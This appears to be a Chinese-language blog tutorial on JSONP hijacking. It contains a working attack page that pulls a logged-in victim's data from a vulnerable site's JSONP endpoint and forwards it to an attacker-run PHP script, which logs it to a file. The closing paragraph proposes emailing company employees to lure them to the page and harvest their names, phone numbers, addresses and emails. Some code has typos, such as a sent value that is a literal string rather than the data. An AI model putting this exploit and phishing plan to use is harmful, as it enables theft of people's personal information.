前一段时间有人问我jsonp劫持,正愁不知道发什么,然后就对jsonp这个漏洞梳理了一下
jsonp介绍:
Jsonp是基于json格式的接口,主要是为了解决跨域请求资源的问题,不清楚跨域的自行百度一下浏览器跨域详解, 他的实现原理就是利用html的script元素标签进行远程调用jsonp文件来实现数据的传输
下面是某站的jsonp漏洞,jsonp传输的数据可能有手机号,邮箱,如果是购物网站还可能存在收获地址等敏感信息,现在很多大型网站还都存在jsonp漏洞,但是并没有泄露一些敏感的信息。
jsonp利用:
jsonp大概就是网站B对网站A的JSONP请求没有进行安全检查直接返回数据,则网站B便存在JSONP漏洞,网站A利用JSONP漏洞能够获取用户在网站B上的jsonp传输的数据
详解:
1,用户在网站B进行了登录,网站B存在jsonp漏洞,jsonp传输的数据里面有邮箱信息
2,用户访问了网站A(A是我们自己编译好的恶意网站),访问后的响应信息中包含javascript代码,代码执行后会去请求网站B的jsonp文件,然后将请求后的内容弹出,这只是一个测试代码,具体代码在下方
测试代码:
<scripttype="text/javascript"> function Callback(content) { alert(content.xxx); } </script> <script type="text/javascript"src="http://B.com/jsonp?callback=jQuery"></script>
<scripttype="text/javascript">function Callback(content){ alert(content.xxx);}</script><script type="text/javascript"src="http://B.com/jsonp?callback=jQuery"></script>
3,B收到请求后会生成json格式的数据(这个数据包含手机号等信息),将json格式的数据返还给A
4,A收到返还的响应后会对数据进行Callback回调处理,利用代码写的是弹窗所以就会弹出来A请求B之后返还的数据
下面我对网站A的代码做了填充修改,将代码插入到html页面中
正式代码:
<script type="text/javascript"> function Callback(content) { var xmlhttp; if (window.XMLHttpRequest) { // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码 xmlhttp=new XMLHttpRequest(); } else { // IE6, IE5 浏览器执行代码 xmlhttp=newActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &&xmlhttp.status==200) { xmlhttp.responseText } } xmlhttp.open("GET","/chu.php?content=content",true); xmlhttp.send(); } </script> <script type="text/javascript" src="http://B.com/jsonp?callback=jQuery"></script>
<script type="text/javascript">function Callback(content){ var xmlhttp; if (window.XMLHttpRequest) { // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码 xmlhttp=new XMLHttpRequest(); } else { // IE6, IE5 浏览器执行代码 xmlhttp=newActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 &&xmlhttp.status==200) { xmlhttp.responseText } } xmlhttp.open("GET","/chu.php?content=content",true); xmlhttp.send();}</script><script type="text/javascript" src="http://B.com/jsonp?callback=jQuery"></script>
请求B网站之后回调数据发送给chu.php,他会将返回的内容请求
chu.php:
<?php $get = $_GET['content']; $myfile =fopen("newfile.txt","a"); fwrite($myfile,"$get\n"); fclose($myfile); ?>
<?php$get = $_GET['content'];$myfile =fopen("newfile.txt","a");fwrite($myfile,"$get\n");fclose($myfile);?>
漏洞利用起来需要一定的条件,看到这里估计很多人会问危害,危害就获取个人信息,这个漏洞主要攻击者是企业,可以获取企业内部人员信息,我们可以给企业人员发送邮件等方式让用户去访问网站A,访问后会获取企业人员信息(地址,姓名,手机号,邮箱等),也可以用于蜜罐的身份识别等。